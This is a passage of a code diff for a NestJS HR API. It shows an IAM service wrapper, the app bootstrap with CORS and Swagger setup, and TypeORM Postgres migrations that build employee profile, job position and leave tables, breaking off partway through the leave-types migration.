async removeEmployeeFromPosition(positionId: string, employeeId: string) {
|
||||
return this.employeePositions.removeAssignedEmployee({
|
||||
positionId,
|
||||
employeeId,
|
||||
} as never);
|
||||
}
|
||||
|
||||
/**
|
||||
* Create an IAM user + employee + position assignment in one call. This is
|
||||
* IAM's own hire path — HR adds only its profile on top.
|
||||
*/
|
||||
async inviteEmployeeToPosition(
|
||||
payload: {
|
||||
positionId: string;
|
||||
username: string;
|
||||
phoneNumber: string;
|
||||
email: string;
|
||||
name: { am: string; en: string };
|
||||
},
|
||||
user: TCurrentUser,
|
||||
) {
|
||||
return this.employeePositions.inviteNewEmployee(payload as never, asIamUser(user));
|
||||
}
|
||||
|
||||
async delegateToPosition(
|
||||
payload: {
|
||||
positionId: string;
|
||||
unitId: string;
|
||||
employeeId?: string;
|
||||
startDate?: Date;
|
||||
endDate?: Date;
|
||||
},
|
||||
user: TCurrentUser,
|
||||
) {
|
||||
return this.employeePositions.delegateEmployeeToPosition(
|
||||
payload as never,
|
||||
asIamUser(user),
|
||||
);
|
||||
}
|
||||
|
||||
// ── Employee lifecycle (IAM's, distinct from HR's employment state) ──────
|
||||
|
||||
// IAM's activate/deactivate take the employee id alone — they read the actor
|
||||
// from the request context themselves, so no user argument is passed here.
|
||||
async activateEmployee(employeeId: string) {
|
||||
return this.employees.activateEmployee(employeeId);
|
||||
}
|
||||
|
||||
async deactivateEmployee(employeeId: string) {
|
||||
return this.employees.deactivateEmployee(employeeId);
|
||||
}
|
||||
}
|
||||
69
apps/edr-hr-api/src/main.ts
Normal file
69
apps/edr-hr-api/src/main.ts
Normal file
@@ -0,0 +1,69 @@
|
||||
import "reflect-metadata";
|
||||
import "dotenv/config";
|
||||
import { NestFactory } from "@nestjs/core";
|
||||
import { ValidationPipe } from "@nestjs/common";
|
||||
import { DocumentBuilder, SwaggerModule } from "@nestjs/swagger";
|
||||
|
||||
import { AppModule } from "./app.module";
|
||||
|
||||
async function bootstrap() {
|
||||
const app = await NestFactory.create(AppModule);
|
||||
|
||||
app.setGlobalPrefix("api/v1");
|
||||
|
||||
// The HR frontend is a separate origin (its own Vite dev server, its own host
|
||||
// in production), so every call from it is cross-origin and dies at the
|
||||
// preflight without this. `credentials: true` is required because the client
|
||||
// sends the session cookie alongside the bearer token.
|
||||
//
|
||||
// Origins come from one comma-separated env var, matching how edr-passenger-api
|
||||
// does it; the fallback is the HR web dev port.
|
||||
const corsOrigins = (process.env.CORS_ORIGINS ?? "http://localhost:5185")
|
||||
.split(",")
|
||||
.map((origin) => origin.trim())
|
||||
.filter((origin) => origin.length > 0);
|
||||
|
||||
app.enableCors({
|
||||
origin: corsOrigins,
|
||||
methods: ["GET", "POST", "PUT", "PATCH", "DELETE", "OPTIONS"],
|
||||
allowedHeaders: [
|
||||
"Content-Type",
|
||||
"Authorization",
|
||||
"Accept-Language",
|
||||
"X-Client-App",
|
||||
"X-Request-ID",
|
||||
],
|
||||
credentials: true,
|
||||
});
|
||||
app.useGlobalPipes(
|
||||
new ValidationPipe({
|
||||
whitelist: true,
|
||||
transform: true,
|
||||
forbidUnknownValues: false,
|
||||
}),
|
||||
);
|
||||
|
||||
const config = new DocumentBuilder()
|
||||
.setTitle("EDR HR API")
|
||||
.setDescription(
|
||||
"Human Resources — the HR extension of IAM. Employee profiles hang off " +
|
||||
"iam.employees; departments are iam.units with an HR satellite; job " +
|
||||
"positions extend iam.positions. HR never duplicates IAM: no auth, no " +
|
||||
"users, no org hierarchy of its own — it imports IamModule and calls " +
|
||||
"IAM's own services for the writes it needs (org changes, hiring, " +
|
||||
"account activation), reading through raw SQL projections.",
|
||||
)
|
||||
.setVersion("1.0.0")
|
||||
.addBearerAuth()
|
||||
.build();
|
||||
SwaggerModule.setup("api-docs", app, SwaggerModule.createDocument(app, config), {
|
||||
customSiteTitle: "EDR HR API",
|
||||
swaggerOptions: { persistAuthorization: true },
|
||||
});
|
||||
|
||||
const port = process.env.PORT ?? 3005;
|
||||
await app.listen(port);
|
||||
console.log(`🚀 EDR HR API running on port ${port}`);
|
||||
console.log(`📚 Swagger: http://localhost:${port}/api-docs`);
|
||||
}
|
||||
bootstrap();
|
||||
252
apps/edr-hr-api/src/migrations/3600000000000-HrBaseline.ts
Normal file
252
apps/edr-hr-api/src/migrations/3600000000000-HrBaseline.ts
Normal file
@@ -0,0 +1,252 @@
|
||||
import { MigrationInterface, QueryRunner } from "typeorm";
|
||||
|
||||
/**
|
||||
* HR baseline — Module 3.1 (Employee Management).
|
||||
*
|
||||
* Creates the four tables the HR extension of IAM needs plus the employee
|
||||
* document index. All DDL is idempotent (`IF NOT EXISTS`), per the house rule,
|
||||
* so a partially-applied run can be repeated safely.
|
||||
*
|
||||
* Deliberate omissions:
|
||||
* - No foreign keys into `iam.*`. Cross-schema references are soft UUIDs with
|
||||
* denormalized display data — the platform's existing stance (there are zero
|
||||
* FKs from `freight.*` into `iam.*`). Validation happens in the service layer
|
||||
* via IamDirectoryService.
|
||||
* - No `hr.departments` table. The department hierarchy is `iam.units`;
|
||||
* `hr.unit_hr_profiles` only adds the HR/Finance attributes on top of it.
|
||||
*
|
||||
* Timestamp 3600000000000 continues the freight convention of a 36xx.. prefix and
|
||||
* is unique within this app's (currently empty) migration folder.
|
||||
*/
|
||||
export class HrBaseline3600000000000 implements MigrationInterface {
|
||||
name = "HrBaseline3600000000000";
|
||||
|
||||
public async up(queryRunner: QueryRunner): Promise<void> {
|
||||
await queryRunner.query(`CREATE SCHEMA IF NOT EXISTS "hr"`);
|
||||
await queryRunner.query(`CREATE EXTENSION IF NOT EXISTS "pgcrypto"`);
|
||||
|
||||
// ── job_titles ────────────────────────────────────────────────────────
|
||||
await queryRunner.query(`
|
||||
CREATE TABLE IF NOT EXISTS "hr"."job_titles" (
|
||||
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
|
||||
"organization_id" uuid NOT NULL,
|
||||
"name" jsonb NOT NULL,
|
||||
"code" varchar(32) NOT NULL,
|
||||
"grade_level" integer NOT NULL DEFAULT 1,
|
||||
"salary_band_min" numeric(14,2),
|
||||
"salary_band_max" numeric(14,2),
|
||||
"description" jsonb,
|
||||
"is_active" boolean NOT NULL DEFAULT true,
|
||||
"created_by" uuid,
|
||||
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
"updated_at" timestamptz,
|
||||
"deleted_at" timestamptz,
|
||||
CONSTRAINT "ck_job_titles_salary_band"
|
||||
CHECK ("salary_band_min" IS NULL OR "salary_band_max" IS NULL
|
||||
OR "salary_band_max" >= "salary_band_min")
|
||||
)
|
||||
`);
|
||||
await queryRunner.query(`
|
||||
CREATE UNIQUE INDEX IF NOT EXISTS "uq_job_titles_org_code"
|
||||
ON "hr"."job_titles" ("organization_id", "code")
|
||||
`);
|
||||
await queryRunner.query(`
|
||||
CREATE INDEX IF NOT EXISTS "idx_job_titles_organization_id"
|
||||
ON "hr"."job_titles" ("organization_id")
|
||||
`);
|
||||
|
||||
// ── unit_hr_profiles ──────────────────────────────────────────────────
|
||||
await queryRunner.query(`
|
||||
CREATE TABLE IF NOT EXISTS "hr"."unit_hr_profiles" (
|
||||
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
|
||||
"unit_id" uuid NOT NULL,
|
||||
"organization_id" uuid NOT NULL,
|
||||
"cost_centre_code" varchar(32),
|
||||
"headcount_budget" integer NOT NULL DEFAULT 0,
|
||||
"head_employee_id" uuid,
|
||||
"finance_expense_account_id" uuid,
|
||||
"is_hr_active" boolean NOT NULL DEFAULT true,
|
||||
"created_by" uuid,
|
||||
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
"updated_at" timestamptz,
|
||||
"deleted_at" timestamptz,
|
||||
CONSTRAINT "ck_unit_hr_profiles_headcount_budget"
|
||||
CHECK ("headcount_budget" >= 0)
|
||||
)
|
||||
`);
|
||||
await queryRunner.query(`
|
||||
CREATE UNIQUE INDEX IF NOT EXISTS "uq_unit_hr_profiles_unit_id"
|
||||
ON "hr"."unit_hr_profiles" ("unit_id")
|
||||
`);
|
||||
await queryRunner.query(`
|
||||
CREATE INDEX IF NOT EXISTS "idx_unit_hr_profiles_organization_id"
|
||||
ON "hr"."unit_hr_profiles" ("organization_id")
|
||||
`);
|
||||
|
||||
// ── job_positions ─────────────────────────────────────────────────────
|
||||
await queryRunner.query(`
|
||||
CREATE TABLE IF NOT EXISTS "hr"."job_positions" (
|
||||
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
|
||||
"organization_id" uuid NOT NULL,
|
||||
"position_id" uuid NOT NULL,
|
||||
"job_title_id" uuid,
|
||||
"unit_id" uuid,
|
||||
"budgeted_count" integer NOT NULL DEFAULT 1,
|
||||
"current_count" integer NOT NULL DEFAULT 0,
|
||||
"is_open" boolean NOT NULL DEFAULT false,
|
||||
"created_by" uuid,
|
||||
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
"updated_at" timestamptz,
|
||||
"deleted_at" timestamptz,
|
||||
CONSTRAINT "ck_job_positions_budgeted_count" CHECK ("budgeted_count" >= 0),
|
||||
CONSTRAINT "ck_job_positions_current_count" CHECK ("current_count" >= 0),
|
||||
CONSTRAINT "fk_job_positions_job_title"
|
||||
FOREIGN KEY ("job_title_id") REFERENCES "hr"."job_titles"("id")
|
||||
ON DELETE SET NULL
|
||||
)
|
||||
`);
|
||||
await queryRunner.query(`
|
||||
CREATE UNIQUE INDEX IF NOT EXISTS "uq_job_positions_position_id"
|
||||
ON "hr"."job_positions" ("position_id")
|
||||
`);
|
||||
await queryRunner.query(`
|
||||
CREATE INDEX IF NOT EXISTS "idx_job_positions_organization_id"
|
||||
ON "hr"."job_positions" ("organization_id")
|
||||
`);
|
||||
|
||||
// ── employee_profiles ─────────────────────────────────────────────────
|
||||
await queryRunner.query(`
|
||||
CREATE TABLE IF NOT EXISTS "hr"."employee_profiles" (
|
||||
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
|
||||
"employee_id" uuid NOT NULL,
|
||||
"organization_id" uuid NOT NULL,
|
||||
"employee_number" varchar(64) NOT NULL,
|
||||
|
||||
"date_of_birth" date,
|
||||
"amharic_date_of_birth" varchar(32),
|
||||
"gender" varchar(16),
|
||||
"nationality" varchar(64) DEFAULT 'Ethiopian',
|
||||
"national_id" varchar(64),
|
||||
"tin_number" varchar(32),
|
||||
"marital_status" varchar(16),
|
||||
"children_count" integer NOT NULL DEFAULT 0,
|
||||
"work_phone" varchar(32),
|
||||
"work_email" varchar(128),
|
||||
"personal_address" jsonb,
|
||||
"emergency_contact_name" jsonb,
|
||||
"emergency_contact_phone" varchar(32),
|
||||
"emergency_contact_relation" varchar(64),
|
||||
|
||||
"job_title_id" uuid,
|
||||
"work_location_id" uuid,
|
||||
"employment_type" varchar(16) NOT NULL DEFAULT 'PERMANENT',
|
||||
"hire_date" date NOT NULL,
|
||||
"amharic_hire_date" varchar(32),
|
||||
"contract_end_date" date,
|
||||
"probation_end_date" date,
|
||||
"employment_state" varchar(16) NOT NULL DEFAULT 'PROBATION',
|
||||
"termination_date" date,
|
||||
"termination_reason" varchar(128),
|
||||
"manager_employee_id" uuid,
|
||||
|
||||
"salary_mode" varchar(16) NOT NULL DEFAULT 'BANK',
|
||||
"bank_name" varchar(128),
|
||||
"bank_account_number" varchar(64),
|
||||
"bank_account_name" varchar(128),
|
||||
"is_pension_eligible" boolean NOT NULL DEFAULT true,
|
||||
|
||||
"profile_photo_document_id" uuid,
|
||||
"created_by" uuid,
|
||||
"updated_by" uuid,
|
||||
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
"updated_at" timestamptz,
|
||||
"deleted_at" timestamptz,
|
||||
|
||||
CONSTRAINT "ck_employee_profiles_children_count" CHECK ("children_count" >= 0),
|
||||
CONSTRAINT "ck_employee_profiles_probation_after_hire"
|
||||
CHECK ("probation_end_date" IS NULL OR "probation_end_date" >= "hire_date"),
|
||||
CONSTRAINT "ck_employee_profiles_contract_after_hire"
|
||||
CHECK ("contract_end_date" IS NULL OR "contract_end_date" >= "hire_date"),
|
||||
CONSTRAINT "ck_employee_profiles_termination_after_hire"
|
||||
CHECK ("termination_date" IS NULL OR "termination_date" >= "hire_date"),
|
||||
CONSTRAINT "ck_employee_profiles_not_own_manager"
|
||||
CHECK ("manager_employee_id" IS NULL OR "manager_employee_id" <> "employee_id"),
|
||||
CONSTRAINT "fk_employee_profiles_job_title"
|
||||
FOREIGN KEY ("job_title_id") REFERENCES "hr"."job_titles"("id")
|
||||
ON DELETE SET NULL
|
||||
)
|
||||
`);
|
||||
// Unique on employee_id, ignoring soft-deleted rows, so a profile can be
|
||||
// re-created after one is removed without dropping the guarantee that a live
|
||||
// employee has at most one.
|
||||
await queryRunner.query(`
|
||||
CREATE UNIQUE INDEX IF NOT EXISTS "uq_employee_profiles_employee_id"
|
||||
ON "hr"."employee_profiles" ("employee_id")
|
||||
WHERE "deleted_at" IS NULL
|
||||
`);
|
||||
// Employee numbers are NOT filtered on deleted_at: a number must never be
|
||||
// reissued, or an archived payslip would point at two different people.
|
||||
await queryRunner.query(`
|
||||
CREATE UNIQUE INDEX IF NOT EXISTS "uq_employee_profiles_org_employee_number"
|
||||
ON "hr"."employee_profiles" ("organization_id", "employee_number")
|
||||
`);
|
||||
await queryRunner.query(`
|
||||
CREATE INDEX IF NOT EXISTS "idx_employee_profiles_organization_id"
|
||||
ON "hr"."employee_profiles" ("organization_id")
|
||||
`);
|
||||
await queryRunner.query(`
|
||||
CREATE INDEX IF NOT EXISTS "idx_employee_profiles_org_state"
|
||||
ON "hr"."employee_profiles" ("organization_id", "employment_state")
|
||||
`);
|
||||
await queryRunner.query(`
|
||||
CREATE INDEX IF NOT EXISTS "idx_employee_profiles_manager"
|
||||
ON "hr"."employee_profiles" ("manager_employee_id")
|
||||
WHERE "manager_employee_id" IS NOT NULL
|
||||
`);
|
||||
|
||||
// ── employee_documents ────────────────────────────────────────────────
|
||||
await queryRunner.query(`
|
||||
CREATE TABLE IF NOT EXISTS "hr"."employee_documents" (
|
||||
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
|
||||
"employee_profile_id" uuid NOT NULL,
|
||||
"organization_id" uuid NOT NULL,
|
||||
"document_type" varchar(32) NOT NULL,
|
||||
"document_id" uuid NOT NULL,
|
||||
"document_number" varchar(128),
|
||||
"issue_date" date,
|
||||
"expiry_date" date,
|
||||
"issuing_authority" varchar(128),
|
||||
"notes" jsonb,
|
||||
"created_by" uuid,
|
||||
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
"updated_at" timestamptz,
|
||||
"deleted_at" timestamptz,
|
||||
CONSTRAINT "ck_employee_documents_expiry_after_issue"
|
||||
CHECK ("issue_date" IS NULL OR "expiry_date" IS NULL
|
||||
OR "expiry_date" >= "issue_date"),
|
||||
CONSTRAINT "fk_employee_documents_profile"
|
||||
FOREIGN KEY ("employee_profile_id")
|
||||
REFERENCES "hr"."employee_profiles"("id") ON DELETE CASCADE
|
||||
)
|
||||
`);
|
||||
await queryRunner.query(`
|
||||
CREATE INDEX IF NOT EXISTS "idx_employee_documents_profile"
|
||||
ON "hr"."employee_documents" ("employee_profile_id")
|
||||
`);
|
||||
await queryRunner.query(`
|
||||
CREATE INDEX IF NOT EXISTS "idx_employee_documents_expiry"
|
||||
ON "hr"."employee_documents" ("organization_id", "expiry_date")
|
||||
WHERE "expiry_date" IS NOT NULL
|
||||
`);
|
||||
}
|
||||
|
||||
public async down(queryRunner: QueryRunner): Promise<void> {
|
||||
// Reverse dependency order. The schema itself is left in place — dropping it
|
||||
// would take any later HR migration's tables with it.
|
||||
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."employee_documents"`);
|
||||
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."employee_profiles"`);
|
||||
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."job_positions"`);
|
||||
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."unit_hr_profiles"`);
|
||||
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."job_titles"`);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,106 @@
|
||||
import { MigrationInterface, QueryRunner } from "typeorm";
|
||||
|
||||
/**
|
||||
* Removes the denormalized `organization_id` from the two employee-scoped HR
|
||||
* tables.
|
||||
*
|
||||
* An employee's organization is IAM's fact. Copying it into `hr` created a
|
||||
* second answer to "which tenant is this person in", which can go stale the
|
||||
* moment IAM moves someone. Scoping now joins `iam.employees` instead — cheap,
|
||||
* because the platform is one database and the join is on a primary key.
|
||||
*
|
||||
* Consequence, deliberately accepted: employee numbers become GLOBALLY unique
|
||||
* rather than unique per organization. Per-org uniqueness needs the column back
|
||||
* (Postgres cannot enforce uniqueness across a join), and a global number also
|
||||
* removes a genuine confusion — with per-org numbering a cross-organization
|
||||
* list shows two different people both labelled EMP-00001.
|
||||
*/
|
||||
export class HrDropDenormalizedOrganization3600000000001
|
||||
implements MigrationInterface
|
||||
{
|
||||
name = "HrDropDenormalizedOrganization3600000000001";
|
||||
|
||||
public async up(queryRunner: QueryRunner): Promise<void> {
|
||||
// Guard against a collision before adding the global constraint: if two
|
||||
// organizations already issued the same number, fail loudly here rather
|
||||
// than half-apply.
|
||||
const clashes = await queryRunner.query(
|
||||
`SELECT employee_number, count(*) AS n
|
||||
FROM "hr"."employee_profiles"
|
||||
GROUP BY employee_number HAVING count(*) > 1`,
|
||||
);
|
||||
if (clashes.length) {
|
||||
throw new Error(
|
||||
`Cannot make employee_number globally unique: ${clashes.length} duplicate(s) ` +
|
||||
`across organizations — ${clashes
|
||||
.map((c: { employee_number: string }) => c.employee_number)
|
||||
.join(", ")}. Renumber them first.`,
|
||||
);
|
||||
}
|
||||
|
||||
await queryRunner.query(
|
||||
`DROP INDEX IF EXISTS "hr"."uq_employee_profiles_org_employee_number"`,
|
||||
);
|
||||
await queryRunner.query(
|
||||
`DROP INDEX IF EXISTS "hr"."idx_employee_profiles_organization_id"`,
|
||||
);
|
||||
await queryRunner.query(
|
||||
`DROP INDEX IF EXISTS "hr"."idx_employee_profiles_org_state"`,
|
||||
);
|
||||
await queryRunner.query(
|
||||
`DROP INDEX IF EXISTS "hr"."idx_employee_documents_expiry"`,
|
||||
);
|
||||
|
||||
await queryRunner.query(
|
||||
`CREATE UNIQUE INDEX IF NOT EXISTS "uq_employee_profiles_employee_number"
|
||||
ON "hr"."employee_profiles" ("employee_number")`,
|
||||
);
|
||||
await queryRunner.query(
|
||||
`CREATE INDEX IF NOT EXISTS "idx_employee_profiles_state"
|
||||
ON "hr"."employee_profiles" ("employment_state")`,
|
||||
);
|
||||
await queryRunner.query(
|
||||
`CREATE INDEX IF NOT EXISTS "idx_employee_documents_expiry"
|
||||
ON "hr"."employee_documents" ("expiry_date")
|
||||
WHERE "expiry_date" IS NOT NULL`,
|
||||
);
|
||||
|
||||
await queryRunner.query(
|
||||
`ALTER TABLE "hr"."employee_profiles" DROP COLUMN IF EXISTS "organization_id"`,
|
||||
);
|
||||
await queryRunner.query(
|
||||
`ALTER TABLE "hr"."employee_documents" DROP COLUMN IF EXISTS "organization_id"`,
|
||||
);
|
||||
}
|
||||
|
||||
public async down(queryRunner: QueryRunner): Promise<void> {
|
||||
// Restores the columns and backfills them from IAM, so a revert lands on
|
||||
// correct values rather than nulls.
|
||||
await queryRunner.query(
|
||||
`ALTER TABLE "hr"."employee_profiles" ADD COLUMN IF NOT EXISTS "organization_id" uuid`,
|
||||
);
|
||||
await queryRunner.query(
|
||||
`UPDATE "hr"."employee_profiles" p
|
||||
SET organization_id = e.organization_id
|
||||
FROM "iam"."employees" e
|
||||
WHERE e.id = p.employee_id`,
|
||||
);
|
||||
await queryRunner.query(
|
||||
`ALTER TABLE "hr"."employee_documents" ADD COLUMN IF NOT EXISTS "organization_id" uuid`,
|
||||
);
|
||||
await queryRunner.query(
|
||||
`UPDATE "hr"."employee_documents" d
|
||||
SET organization_id = e.organization_id
|
||||
FROM "hr"."employee_profiles" p
|
||||
JOIN "iam"."employees" e ON e.id = p.employee_id
|
||||
WHERE p.id = d.employee_profile_id`,
|
||||
);
|
||||
await queryRunner.query(
|
||||
`DROP INDEX IF EXISTS "hr"."uq_employee_profiles_employee_number"`,
|
||||
);
|
||||
await queryRunner.query(
|
||||
`CREATE UNIQUE INDEX IF NOT EXISTS "uq_employee_profiles_org_employee_number"
|
||||
ON "hr"."employee_profiles" ("organization_id", "employee_number")`,
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,39 @@
|
||||
import { MigrationInterface, QueryRunner } from "typeorm";
|
||||
|
||||
/**
|
||||
* Adds `hr.employee_profiles.is_provisional`.
|
||||
*
|
||||
* Set when a profile was created by auto-provisioning rather than by someone
|
||||
* completing the form: its hire date is a proxy (the IAM record's creation date)
|
||||
* and its employment type a default. Payroll and leave accrual both key off hire
|
||||
* date, so a provisional row must be visibly distinguishable from a recorded
|
||||
* one — otherwise a guessed date silently becomes a salary calculation.
|
||||
*/
|
||||
export class HrEmployeeProvisionalFlag3600000000002
|
||||
implements MigrationInterface
|
||||
{
|
||||
name = "HrEmployeeProvisionalFlag3600000000002";
|
||||
|
||||
public async up(queryRunner: QueryRunner): Promise<void> {
|
||||
await queryRunner.query(
|
||||
`ALTER TABLE "hr"."employee_profiles"
|
||||
ADD COLUMN IF NOT EXISTS "is_provisional" boolean NOT NULL DEFAULT false`,
|
||||
);
|
||||
// Partial index: the "needs real data" queue is a small subset of a table
|
||||
// that will grow, and it is the only thing this column is filtered on.
|
||||
await queryRunner.query(
|
||||
`CREATE INDEX IF NOT EXISTS "idx_employee_profiles_provisional"
|
||||
ON "hr"."employee_profiles" ("is_provisional")
|
||||
WHERE "is_provisional" = true`,
|
||||
);
|
||||
}
|
||||
|
||||
public async down(queryRunner: QueryRunner): Promise<void> {
|
||||
await queryRunner.query(
|
||||
`DROP INDEX IF EXISTS "hr"."idx_employee_profiles_provisional"`,
|
||||
);
|
||||
await queryRunner.query(
|
||||
`ALTER TABLE "hr"."employee_profiles" DROP COLUMN IF EXISTS "is_provisional"`,
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,68 @@
|
||||
import { MigrationInterface, QueryRunner } from "typeorm";
|
||||
|
||||
/**
|
||||
* Finishes what 3600000000001 started: removes the last IAM facts copied into
|
||||
* `hr`.
|
||||
*
|
||||
* hr.job_positions.unit_id → iam.positions.unit_id
|
||||
* hr.job_positions.organization_id → iam.positions.organization_id
|
||||
* hr.unit_hr_profiles.organization_id → iam.units.organization_id
|
||||
*
|
||||
* Each was a denormalized cache, and each could disagree with IAM the moment a
|
||||
* position or unit was moved between units or organizations. Scoping and
|
||||
* grouping now join IAM instead — cheap, since it is one database and the join
|
||||
* is on a primary key.
|
||||
*
|
||||
* `hr.job_titles.organization_id` deliberately STAYS: a job title has no IAM
|
||||
* parent to inherit an organization from, so that column is HR's own fact, not
|
||||
* a copy of anyone else's.
|
||||
*/
|
||||
export class HrDropRemainingDenormalizedIam3600000000003
|
||||
implements MigrationInterface
|
||||
{
|
||||
name = "HrDropRemainingDenormalizedIam3600000000003";
|
||||
|
||||
public async up(queryRunner: QueryRunner): Promise<void> {
|
||||
await queryRunner.query(
|
||||
`DROP INDEX IF EXISTS "hr"."idx_job_positions_organization_id"`,
|
||||
);
|
||||
await queryRunner.query(
|
||||
`DROP INDEX IF EXISTS "hr"."idx_unit_hr_profiles_organization_id"`,
|
||||
);
|
||||
|
||||
await queryRunner.query(
|
||||
`ALTER TABLE "hr"."job_positions" DROP COLUMN IF EXISTS "unit_id"`,
|
||||
);
|
||||
await queryRunner.query(
|
||||
`ALTER TABLE "hr"."job_positions" DROP COLUMN IF EXISTS "organization_id"`,
|
||||
);
|
||||
await queryRunner.query(
|
||||
`ALTER TABLE "hr"."unit_hr_profiles" DROP COLUMN IF EXISTS "organization_id"`,
|
||||
);
|
||||
}
|
||||
|
||||
public async down(queryRunner: QueryRunner): Promise<void> {
|
||||
// Restore and backfill from IAM, so a revert lands on correct values.
|
||||
await queryRunner.query(
|
||||
`ALTER TABLE "hr"."job_positions" ADD COLUMN IF NOT EXISTS "unit_id" uuid`,
|
||||
);
|
||||
await queryRunner.query(
|
||||
`ALTER TABLE "hr"."job_positions" ADD COLUMN IF NOT EXISTS "organization_id" uuid`,
|
||||
);
|
||||
await queryRunner.query(
|
||||
`UPDATE "hr"."job_positions" jp
|
||||
SET unit_id = p.unit_id, organization_id = p.organization_id
|
||||
FROM "iam"."positions" p
|
||||
WHERE p.id = jp.position_id`,
|
||||
);
|
||||
await queryRunner.query(
|
||||
`ALTER TABLE "hr"."unit_hr_profiles" ADD COLUMN IF NOT EXISTS "organization_id" uuid`,
|
||||
);
|
||||
await queryRunner.query(
|
||||
`UPDATE "hr"."unit_hr_profiles" up
|
||||
SET organization_id = u.organization_id
|
||||
FROM "iam"."units" u
|
||||
WHERE u.id = up.unit_id`,
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,156 @@
|
||||
import { MigrationInterface, QueryRunner } from "typeorm";
|
||||
|
||||
/**
|
||||
* Leave foundation — Module 3.2, slice 1.
|
||||
*
|
||||
* Three tables, none of which decide policy in code:
|
||||
*
|
||||
* - `leave_settings` one row per organization: what a leave year is, which
|
||||
* days are not working days, how carry-over expires.
|
||||
* - `leave_types` the catalogue. Every statutory number (16 days annual,
|
||||
* 120 days maternity, …) is a COLUMN here, not a constant
|
||||
* in a service, because the two statutes in play disagree:
|
||||
* Labour Proclamation 1156/2019 gives 16 annual days +1 per
|
||||
* 2 years of service, while Federal Civil Servants
|
||||
* Proclamation 1064/2017 gives 20 +1 per year. Which one
|
||||
* applies is a seeding decision, not a code change.
|
||||
* - `holidays` concrete observed dates. Ethiopian public holidays cannot
|
||||
* be stored as a fixed Gregorian month/day — the Ethiopian
|
||||
* calendar drifts against Gregorian by a day around leap
|
||||
* years, and the Islamic ones move ~11 days a year — so
|
||||
* each occurrence is its own row and lunar ones are flagged
|
||||
* estimated until confirmed.
|
||||
*
|
||||
* All DDL idempotent, per the house rule. No foreign keys into `iam.*`.
|
||||
*/
|
||||
export class HrLeaveFoundation3600000000004 implements MigrationInterface {
|
||||
name = "HrLeaveFoundation3600000000004";
|
||||
|
||||
public async up(queryRunner: QueryRunner): Promise<void> {
|
||||
// ── leave_settings ────────────────────────────────────────────────────
|
||||
await queryRunner.query(`
|
||||
CREATE TABLE IF NOT EXISTS "hr"."leave_settings" (
|
||||
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
|
||||
"organization_id" uuid NOT NULL,
|
||||
"leave_year_basis" varchar(20) NOT NULL DEFAULT 'FISCAL_YEAR',
|
||||
"fiscal_year_start_month" smallint NOT NULL DEFAULT 7,
|
||||
"fiscal_year_start_day" smallint NOT NULL DEFAULT 8,
|
||||
"weekend_days" smallint[] NOT NULL DEFAULT '{0}',
|
||||
"carry_over_deadline_months" smallint NOT NULL DEFAULT 6,
|
||||
"allow_negative_balance" boolean NOT NULL DEFAULT false,
|
||||
"statute_reference" varchar(64),
|
||||
"created_by" uuid,
|
||||
"updated_by" uuid,
|
||||
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
"updated_at" timestamptz,
|
||||
"deleted_at" timestamptz,
|
||||
CONSTRAINT "ck_leave_settings_year_basis"
|
||||
CHECK ("leave_year_basis" IN ('FISCAL_YEAR','CALENDAR_YEAR','HIRE_ANNIVERSARY')),
|
||||
CONSTRAINT "ck_leave_settings_fiscal_month"
|
||||
CHECK ("fiscal_year_start_month" BETWEEN 1 AND 12),
|
||||
CONSTRAINT "ck_leave_settings_fiscal_day"
|
||||
CHECK ("fiscal_year_start_day" BETWEEN 1 AND 31),
|
||||
CONSTRAINT "ck_leave_settings_carry_over"
|
||||
CHECK ("carry_over_deadline_months" BETWEEN 0 AND 24)
|
||||
)
|
||||
`);
|
||||
// Partial unique: a soft-deleted settings row must not block a new one.
|
||||
await queryRunner.query(`
|
||||
CREATE UNIQUE INDEX IF NOT EXISTS "uq_leave_settings_organization"
|
||||
ON "hr"."leave_settings" ("organization_id") WHERE "deleted_at" IS NULL
|
||||
`);
|
||||
|
||||
// ── leave_types ───────────────────────────────────────────────────────
|
||||
await queryRunner.query(`
|
||||
CREATE TABLE IF NOT EXISTS "hr"."leave_types" (
|
||||
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
|
||||
"organization_id" uuid NOT NULL,
|
||||
"code" varchar(32) NOT NULL,
|
||||
"name" jsonb NOT NULL,
|
||||
"description" jsonb,
|
||||
"is_paid" boolean NOT NULL DEFAULT true,
|
||||
"accrual_method" varchar(24) NOT NULL DEFAULT 'ANNUAL_ENTITLEMENT',
|
||||
"base_days_per_year" numeric(6,2) NOT NULL DEFAULT 0,
|
||||
"extra_days_per_period" numeric(6,2) NOT NULL DEFAULT 0,
|
||||
"service_period_years" smallint NOT NULL DEFAULT 0,
|
||||
"max_days_per_year" numeric(6,2),
|
||||
"max_carry_over_days" numeric(6,2) NOT NULL DEFAULT 0,
|
||||
"max_consecutive_days" numeric(6,2),
|
||||
"min_service_months" smallint NOT NULL DEFAULT 0,
|
||||
"gender_restriction" varchar(8) NOT NULL DEFAULT 'ANY',
|
||||
"counts_working_days_only" boolean NOT NULL DEFAULT true,
|
||||
"allows_half_day" boolean NOT NULL DEFAULT false,
|
||||
"requires_attachment_after" numeric(6,2),
|
||||
"requires_approval" boolean NOT NULL DEFAULT true,
|
||||
"statute_reference" varchar(64),
|
||||
"sort_order" smallint NOT NULL DEFAULT 100,
|
||||
